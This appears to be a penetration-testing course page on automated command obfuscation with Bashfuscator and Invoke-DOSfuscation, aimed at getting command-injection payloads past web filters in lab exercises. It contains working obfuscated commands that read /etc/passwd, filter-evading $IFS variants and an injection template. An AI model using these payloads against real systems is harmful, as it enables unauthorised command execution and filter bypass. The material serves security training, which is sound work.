Evasion Tools

🤖 Automated Obfuscation: Advanced tools for bypassing sophisticated security mechanisms

Overview

If we are dealing with advanced security tools, we may not be able to use basic, manual obfuscation techniques. In such cases, it may be best to resort to automated obfuscation tools. This section will discuss examples of these types of tools, one for Linux and another for Windows.

These automated tools are particularly useful when:

  • Manual obfuscation techniques fail

  • Multiple filter layers are present

  • WAF detection is highly sophisticated

  • Time constraints require rapid payload generation

  • Custom evasion patterns are needed

Linux (Bashfuscator)

🐧 Bash Command Obfuscation: Automated tool for Linux/Unix environments

Installation

A handy tool we can utilize for obfuscating bash commands is Bashfuscator. We can clone the repository from GitHub and then install its requirements:

# Clone the repository
git clone https://github.com/Bashfuscator/Bashfuscator

# Navigate to directory
cd Bashfuscator

# Install requirements
pip3 install setuptools==65
python3 setup.py install --user

Basic Usage

Once we have the tool set up, we can start using it from the ./bashfuscator/bin/ directory. There are many flags we can use with the tool to fine-tune our final obfuscated command:

# Navigate to binary directory
cd ./bashfuscator/bin/

# View help menu
./bashfuscator -h

Help Menu Overview:

usage: bashfuscator [-h] [-l] ...SNIP...

optional arguments:
  -h, --help            show this help message and exit

Program Options:
  -l, --list            List all the available obfuscators, compressors, and encoders
  -c COMMAND, --command COMMAND
                        Command to obfuscate
...SNIP...

Simple Obfuscation

Basic Command Obfuscation:

./bashfuscator -c 'cat /etc/passwd'

# Output:
[+] Mutators used: Token/ForCode -> Command/Reverse
[+] Payload:
 ${*/+27\[X\(} ...SNIP...  ${*~}   
[+] Payload size: 1664 characters

Warning: Running the tool this way will randomly pick an obfuscation technique, which can output a command length ranging from a few hundred characters to over a million characters!

Optimized Obfuscation

For shorter and simpler obfuscated commands, use specific flags:

./bashfuscator -c 'cat /etc/passwd' -s 1 -t 1 --no-mangling --layers 1

# Output:
[+] Mutators used: Token/ForCode
[+] Payload:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"
[+] Payload size: 104 characters

Testing Obfuscated Commands

Verify the obfuscated command works:

bash -c 'eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"'

# Expected output:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...SNIP...

Key Bashfuscator Flags

Flag
Description
Usage

-c

Command to obfuscate

--command 'whoami'

-s

Size parameter (1-6)

-s 1 (smallest)

-t

Time parameter (1-6)

-t 1 (fastest)

--no-mangling

Disable identifier mangling

Cleaner output

--layers

Number of obfuscation layers

--layers 1

-l

List available techniques

View all mutators

Web Application Testing

Exercise Challenge: Try testing the obfuscated command with our web application to see if it can successfully bypass the filters.

Potential Issues:

  • Space characters in obfuscated payload

  • Special characters that may be filtered

  • Payload length restrictions

Troubleshooting:

# If spaces are filtered, replace with tabs or $IFS
# Original obfuscated command:
eval "$(W0=(w \  t e c p s a \/ d);for Ll in 4 7 2 1 8 3 2 4 8 5 7 6 6 0 9;{ printf %s "${W0[$Ll]}";};)"

# Modified for web application:
eval$IFS"$(W0=(w$IFS\$IFS$IFSt${IFS}e${IFS}c${IFS}p${IFS}s${IFS}a$IFS\/${IFS}d);for${IFS}Ll${IFS}in${IFS}4${IFS}7${IFS}2${IFS}1${IFS}8${IFS}3${IFS}2${IFS}4${IFS}8${IFS}5${IFS}7${IFS}6${IFS}6${IFS}0${IFS}9;{${IFS}printf${IFS}%s${IFS}"${W0[$Ll]}";};)"

Windows (DOSfuscation)

🪟 Windows Command Obfuscation: Interactive tool for Windows environments

Installation

There is a very similar tool for Windows called DOSfuscation. Unlike Bashfuscator, this is an interactive tool - we run it once and interact with it to get the desired obfuscated command.

# Clone the repository
git clone https://github.com/danielbohannon/Invoke-DOSfuscation.git

# Navigate to directory
cd Invoke-DOSfuscation

# Import the PowerShell module
Import-Module .\Invoke-DOSfuscation.psd1

# Launch the interactive tool
Invoke-DOSfuscation

Interactive Usage

Help Menu:

Invoke-DOSfuscation> help

HELP MENU :: Available options shown below:
[*]  Tutorial of how to use this tool             TUTORIAL
...SNIP...

Choose one of the below options:
[*] BINARY      Obfuscated binary syntax for cmd.exe & powershell.exe
[*] ENCODING    Environment variable encoding
[*] PAYLOAD     Obfuscated payload via DOSfuscation

Tutorial Option: We can use tutorial to see an example of how the tool works.

Practical Example

Step 1: Set Command

Invoke-DOSfuscation> SET COMMAND type C:\Users\htb-student\Desktop\flag.txt

Step 2: Choose Encoding

Invoke-DOSfuscation> encoding
Invoke-DOSfuscation\Encoding> 1

...SNIP...

Step 3: Get Obfuscated Result

Result:
typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

Testing Windows Obfuscation

Execute on Windows CMD:

C:\htb> typ%TEMP:~-3,-2% %CommonProgramFiles:~17,-11%:\Users\h%TMP:~-13,-12%b-stu%SystemRoot:~-4,-3%ent%TMP:~-19,-18%%ALLUSERSPROFILE:~-4,-3%esktop\flag.%TMP:~-13,-12%xt

test_flag

Cross-Platform Testing

Linux PowerShell Alternative: If we do not have access to a Windows VM, we can run the above code on a Linux VM through pwsh:

# Install PowerShell on Linux (if not available)
# On Ubuntu/Debian:
sudo apt update && sudo apt install -y powershell

# Run PowerShell
pwsh

# Follow the exact same commands from above

Note: This tool is installed by default in your Pwnbox instance.

DOSfuscation Techniques

Environment Variable Encoding

How it Works: DOSfuscation uses Windows environment variables to construct characters:

# Examples of character extraction:
%TEMP:~-3,-2%        # Extracts specific characters from TEMP variable
%CommonProgramFiles:~17,-11%  # Character extraction from program files path
%SystemRoot:~-4,-3%  # Extract from system root path

Advanced Obfuscation Options

Available Techniques:

  1. BINARY - Obfuscated binary syntax for cmd.exe & powershell.exe

  2. ENCODING - Environment variable encoding

  3. PAYLOAD - Obfuscated payload via DOSfuscation

Interactive Navigation:

# Navigate through options
Invoke-DOSfuscation> binary
Invoke-DOSfuscation\Binary> 1

# Return to main menu
Invoke-DOSfuscation\Binary> back
Invoke-DOSfuscation>

Tool Comparison

Bashfuscator vs DOSfuscation

Feature
Bashfuscator
DOSfuscation

Platform

Linux/Unix

Windows

Interface

Command-line

Interactive

Output Size

Variable (100-1M+ chars)

Moderate (50-200 chars)

Customization

High (many flags)

Medium (preset options)

Ease of Use

Moderate

High (guided)

Techniques

Multiple layers

Env var extraction

When to Use Each Tool

Use Bashfuscator when:

  • ✅ Targeting Linux/Unix systems

  • ✅ Need highly customized obfuscation

  • ✅ Multiple obfuscation layers required

  • ✅ Automated scripting needed

Use DOSfuscation when:

  • ✅ Targeting Windows systems

  • ✅ Need environment variable techniques

  • ✅ Interactive exploration preferred

  • ✅ Moderate obfuscation sufficient

Practical Integration

Web Application Testing Workflow

Step 1: Generate Obfuscated Payload

# Linux target
./bashfuscator -c 'whoami' -s 1 -t 1 --no-mangling --layers 1

# Windows target
# Use DOSfuscation interactively

Step 2: Filter Adaptation

# Replace spaces with filter-safe alternatives
# Original: eval "$(command)"
# Modified: eval$IFS"$(command)"

Step 3: Web Injection

# Combine with injection operators
ip=127.0.0.1%0a[OBFUSCATED_COMMAND]

Automation Scripts

Bashfuscator Automation:

#!/bin/bash
# Auto-generate multiple obfuscation variants
for cmd in "whoami" "id" "pwd"; do
    echo "=== Obfuscating: $cmd ==="
    ./bashfuscator -c "$cmd" -s 1 -t 1 --no-mangling --layers 1
    echo
done

PowerShell Automation (DOSfuscation):

# Batch obfuscation script
$commands = @("whoami", "dir", "type flag.txt")
foreach ($cmd in $commands) {
    Write-Host "=== Obfuscating: $cmd ==="
    # Manual DOSfuscation process would go here
}

Advanced References

Additional Resources

For more advanced obfuscation methods, refer to:

  • Secure Coding 101: JavaScript module - Advanced obfuscation methods

  • PayloadsAllTheThings - Community obfuscation techniques

  • OWASP Testing Guide - Injection testing methodologies

Tool Updates

Stay Current:

  • ⚠️ Tools may require updates for new OS versions

  • ⚠️ Signature detection evolves constantly

  • ⚠️ New techniques emerge regularly

Best Practices:

  • ✅ Test obfuscated payloads before deployment

  • ✅ Have multiple obfuscation options ready

  • ✅ Combine manual and automated techniques

  • ✅ Keep tools updated to latest versions

Key Takeaways

Automated Advantages

  • 🚀 Speed - Rapid payload generation

  • 🔄 Consistency - Reliable obfuscation patterns

  • 🎯 Variety - Multiple technique options

  • 🛠️ Customization - Tunable parameters

Integration Strategy

  • 🔍 Assessment - Identify filter sophistication

  • 🛠️ Tool Selection - Choose appropriate platform tool

  • 🎭 Obfuscation - Generate automated payloads

  • 🔧 Adaptation - Modify for specific filters

  • ⚡ Execution - Deploy via injection vectors

These automated evasion tools provide penetration testers with powerful capabilities to bypass sophisticated filtering mechanisms while maintaining efficiency and effectiveness in assessments.

PreviousAdvanced Command ObfuscationNextSkills Assessment

Last updated